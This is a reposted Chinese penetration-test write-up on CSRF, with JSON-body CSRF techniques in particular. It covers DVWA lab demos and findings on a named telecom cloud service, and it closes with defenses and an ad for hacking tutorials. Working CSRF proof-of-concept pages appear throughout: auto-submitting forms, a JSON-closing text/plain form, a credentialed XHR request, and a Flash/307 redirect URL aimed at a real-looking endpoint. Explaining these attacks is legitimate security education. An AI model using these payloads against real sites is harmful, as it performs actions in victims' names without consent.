您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

一次渗透测试引发的Json格式下CSRF攻击的探索

时间:2020-06-26 15:32:29  来源:  作者:

一次渗透测试引发的Json格式下CSRF攻击的探索
0x00 前言

漏洞背景

hw时期在电信三巨头之一旗下的子公司出差,做一下渗透测试。

公网的业务主挖逻辑漏洞,但是每次挖着挖着就变成了CSRF攻击,出差半个月算是把这辈子的CSRF都给挖完了。

testme师傅说的一句话:开发者修或不修,挖洞者觉得鸡肋不鸡肋,CSRF漏洞就躺着那里。

这一次的体会很深,某云基本所有的业务逻辑都存在CSRF洞。

CSRF原理

一次渗透测试引发的Json格式下CSRF攻击的探索

 

还是来梳理一下大致的流程

1.用户C浏览并登录信任网站A

2.验证通过,Web A产生一个Cookie返回给用户C

3.用户在没有等处的情况下访问Web B

4.B要求访问第三方站点Web A,发出一个请求

5.浏览器带着步骤2产生的Cookie,根据步骤4的请求访问Web A

这就造成了一次CSRF攻击,原理是利用目标用户的合法身份,以用户的名义执行非法操作

0x01 常见CSRF利用

GET型CSRF

这里选择DVWA的low级,可以抓包查看修改密码的请求如下

一次渗透测试引发的Json格式下CSRF攻击的探索

 

可以看到发送了一个GET请求,来看看有哪些html元素可以实现这一请求

HTML中能够设置src/href等链接地址的标签都可以发起一个GET请求,具体如下:

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<audio src="">
<video src="">
<a href="">
<table background="">

以及css样式中的:

@import ""
background:url("")
...

这里可以直接选择Burp Suite的Generate CSRF PoC生成

一次渗透测试引发的Json格式下CSRF攻击的探索

 

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
      <input type="hidden" name="password_new" value="123456" />
      <input type="hidden" name="password_conf" value="123456" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

当用户在登录状态下打开并点击Submit request按钮时,便会提交修改密码请求

一次渗透测试引发的Json格式下CSRF攻击的探索

 

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
      <input type="hidden" name="password_new" value="123456" />
      <input type="hidden" name="password_conf" value="123456" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

POST型CSRF

POST型与GET型的区别就在于POST型CSRF需要构造form表单,再由JAVAScript自动提交

这里给出一个参考的攻击页面,当然也可以Burp Suite直接生成POC

<html>
<head>
    <title>
        post data
    </title>    
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
    var id = document.getElementById("id");
    id.submit();
</script>
</body>
</html>

0x02 真实场景利用

某云多处POST型CSRF

创建Access Key

由于是即将上线的业务,6月22日前暂未修复,关键数据打马

一次渗透测试引发的Json格式下CSRF攻击的探索

 

创建Access Key只是向服务器提交了一个POST请求,数据为空,POC如下

一次渗透测试引发的Json格式下CSRF攻击的探索

 

当用户在已登录情况下打开,会创建一个Access Key

一次渗透测试引发的Json格式下CSRF攻击的探索

 

删除Access Key

一次渗透测试引发的Json格式下CSRF攻击的探索

 

这里由POST提交的id即为我们之前创建的Access Key(不是上面那一个。。)

我最先测的是删除的这个功能点,但是甲方不收,说这个id没有办法获取到,后来才测了创建的那个功能点。

实际上,整个系统能够越权的地方都产生了CSRF,不能越权的地方也可以用CSRF去打,算是通病了。

POC与上面那个类似,唯一区别就是这里带了post数据,value替换为相应id即可。

一次渗透测试引发的Json格式下CSRF攻击的探索

 


一次渗透测试引发的Json格式下CSRF攻击的探索

 

今天准备复现的时候发现系统已经暂时下线了,估计正在修复,所以用了之前提交的测试报告的图。

0x03 Json格式下的CSRF

在内网测试域遇到了一个POST型CSRF,且提交的数据为json格式

一次渗透测试引发的Json格式下CSRF攻击的探索

 

如果直接用常规poc的话,会导致415,poc如下

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://xxxxxx/simauth/App/updateAppInfo" method="POST" enctype="text/plain">
      <input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
一次渗透测试引发的Json格式下CSRF攻击的探索

 

那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:

1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。

2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。

思路一:json格式闭合

我们可以抓包看一下这个poc提交的请求详情

一次渗透测试引发的Json格式下CSRF攻击的探索

 

可以看到这段POST数据结尾多了一个=,这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。

这时候我们可以给value赋值从而对=后的数据进行补全,使其构造成一个完整的json格式,可以避免解析器报错

<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />
一次渗透测试引发的Json格式下CSRF攻击的探索

 

可以看到这里已经闭合成了一个完整的json格式的数据,但是提交数据还是会返回415.因为在原始的数据包中Content-Type为application/json,而以form表单的形式去提交是没办法设置enctype为application/json的。

为了进一步验证,修改enctype为application/json,再抓包查看请求详情。

一次渗透测试引发的Json格式下CSRF攻击的探索

 

可以看到Content-Type自动转换为了
application/x-www-form-urlencoded,进一步验证

将enctype改回text/plain并抓包,修改Content-Type为application/json

一次渗透测试引发的Json格式下CSRF攻击的探索

 

返回操作成功,自此可以确定服务端对Content-Type进行了校验。

思路二:通过XHR提交

当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。

然而如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败。

所以在此场景下,这一思路是行不通的。

但是更多的情况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,所以很多情况下这是可用的。

XHR CSRF POC

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
    }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();"/>
    </form>
  </body>
</html>

思路三:借助flash,利用307跳转实现CSRF

1.制作一个Flash文件

2.制作一个跨域XML文件

3.制作一个具有307状态码的php文件

已经有大牛造好轮子了,参考:
https://github.com/sp1d3r/swf_json_csrf

POC

https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php

或者直接在ui.html页面配置

一次渗透测试引发的Json格式下CSRF攻击的探索

 

整个攻击链

1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。

2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。

3、victim.com收到一条POST请求,并且Content-Type为application/json。

4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。

并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。

一次渗透测试引发的Json格式下CSRF攻击的探索

 

然而在实际测试中却并没有起到理想中的效果,只能是记录一下方法

0x04 防御CSRF

检查Referer

一般情况下,用户提交站内请求,Referer中的来源应该是站内地址。如果发现Referer中的地址异常,就有可能遭到了CSRF攻击。在浏览器客户端层面,使用JavaScript和ActionScript已经无法修改HTTP Referer了,检查Referer字段是个不错的方法。

限制Cookie生命周期

CSRF产生的主要原因就是Cookie时效性未过的情况下,冒用用户身份进行非法操作。

而如果cookie失效,或者退出登录,甚至切换一个浏览器,CSRF就不复存在了。

限制Cookie的生命周期,一定程度上能减少被CSRF攻击的概率。

使用验证码

使用验证码是阻断CSRF攻击的有效手段,在用户进行相应操作时输入验证码,可以最大限度上杜绝CSRF,唯一的缺点是会降低用户体验。

使用一次性token

Anti-CSRF-token是当下最流行的解决方案,在开发过程中我们可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。


更多黑客渗透体系化视频教程,直接免费观看

黑客视频教程+进内部群+领工具+靶场---搜索公众号:暗网黑客

一次渗透测试引发的Json格式下CSRF攻击的探索

 

 

 

作者:0xdawn

转载自:
https://xz.aliyun.com/t/7911



Tags:渗透测试   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
简介在sqlmap基础上增加了目录扫描、hash爆破等功能运行环境 linux 在云服务器上还是蛮不错的项目连接如下https://github.com/s0md3v/sqlmat usage: sqlmate [-h] [--dor...【详细内容】
2021-11-10  Tags: 渗透测试  点击:(44)  评论:(0)  加入收藏
一:信息收集阶段因为目标是学校,一般会去考虑收集学号,教工号。因为有的登陆点需要此类信息,且密码存在规律性(身份证后六位,123456)。目标域名xxx.com【查看资料】开始的时候,我是...【详细内容】
2021-10-27  Tags: 渗透测试  点击:(47)  评论:(0)  加入收藏
一、背景介绍Pikachu是一个带有各种漏洞的Web应用系统,这个系统是使用PHP搭建的,需要PHP环境和Mysql数据库支持。我们可以利用phpstudy在本地搭建这个渗透测试平台,如果你是一...【详细内容】
2021-10-09  Tags: 渗透测试  点击:(53)  评论:(0)  加入收藏
一、准备环境Burpsuite、夜神模拟器二、步骤运行burpsuite,打开代理后,访问 http://burp/ 下载CA证书点击右上角位置下载CA证书将下载的CA证书导入到浏览器中,打开浏览器选择设...【详细内容】
2021-10-08  Tags: 渗透测试  点击:(67)  评论:(0)  加入收藏
0x01前言在渗透测试过程中,开发不可能每一次都将结果输出到页面上,也就是漏洞无回显的情况,那么在这种情况下,我们可以通过dnslog判断漏洞存在,或者通过起一个python的http服务来...【详细内容】
2021-08-12  Tags: 渗透测试  点击:(68)  评论:(0)  加入收藏
使用 Kali Linux 和其他开源工具来发现系统中的安全漏洞和弱点。众多被广泛报道的大型消费企业入侵事件凸显了系统安全管理的重要性。幸运的是,有许多不同的应用程序可以帮助...【详细内容】
2021-08-06  Tags: 渗透测试  点击:(60)  评论:(0)  加入收藏
一、网络配置1、首先保证所有的设备(kali虚拟机和安卓手机)都连接到同一个局域网(Wi-Fi)下。在现实生活中,黑客通常找寻免费的公共Wi-Fi,来保证有足够多的安卓手机供其渗透。所以...【详细内容】
2021-08-02  Tags: 渗透测试  点击:(215)  评论:(0)  加入收藏
一、渗透测试常见漏洞 1、敏感信息泄露由于网站运维人员疏忽,存放敏感信息的文件被泄露或由于网站运行出差导致敏感信息泄露。2、SQL注入SQL注入漏洞产生的原因是网站应用程...【详细内容】
2021-07-29  Tags: 渗透测试  点击:(130)  评论:(0)  加入收藏
前言下午闲来无事,测试自己的站玩玩,也算是一次比较完备地漏洞挖掘。信息搜集在fofa上找到一个后台的站。 一个普通的后台,弱口令,sql注入没打进去。从错误路由中得知框架是tp的...【详细内容】
2021-07-19  Tags: 渗透测试  点击:(107)  评论:(0)  加入收藏
0x00:寻找漏洞点某天闲着无聊用谷歌语法inurl:aspx?id=找到一个国外的某个站点。功能点比较简单只有一个User ID: 0x01:检测功能点由于只有搜索框我们先来一个单引号看他是...【详细内容】
2021-07-15  Tags: 渗透测试  点击:(85)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(29)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(20)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(633)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条